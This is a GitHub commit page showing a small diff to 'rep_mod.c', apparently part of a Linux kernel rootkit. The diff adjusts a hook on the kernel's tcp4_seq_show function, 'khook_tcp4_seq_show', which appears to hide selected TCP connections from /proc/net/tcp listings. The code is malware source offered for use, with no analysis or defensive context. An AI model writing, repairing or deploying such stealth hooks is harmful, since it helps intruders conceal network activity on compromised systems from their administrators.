Skip to content

Commit

Permalink
fixing issue f0rb1dd3n#52
Browse files Browse the repository at this point in the history
  • Loading branch information
f0rb1dd3n authored Dec 1, 2018
1 parent d39eca3 commit 7f42690
Showing 1 changed file with 2 additions and 4 deletions.
6 changes: 2 additions & 4 deletions rep_mod.c
Original file line number Diff line number Diff line change
Expand Up @@ -871,10 +871,8 @@ static int khook_tcp4_seq_show(struct seq_file *seq, void *v)

KHOOK_GET(tcp4_seq_show);

// seq_setwidth(seq, TMPSZ - 1);
if (v == SEQ_START_TOKEN) {
ret = 0;
goto out;
goto origin;
}

inet = (struct inet_sock *)sk;
Expand All @@ -895,7 +893,7 @@ static int khook_tcp4_seq_show(struct seq_file *seq, void *v)
goto out;
}
}

origin:
ret = KHOOK_ORIGIN(tcp4_seq_show, seq, v);
out:
KHOOK_PUT(tcp4_seq_show);
Expand Down

0 comments on commit 7f42690

Please sign in to comment.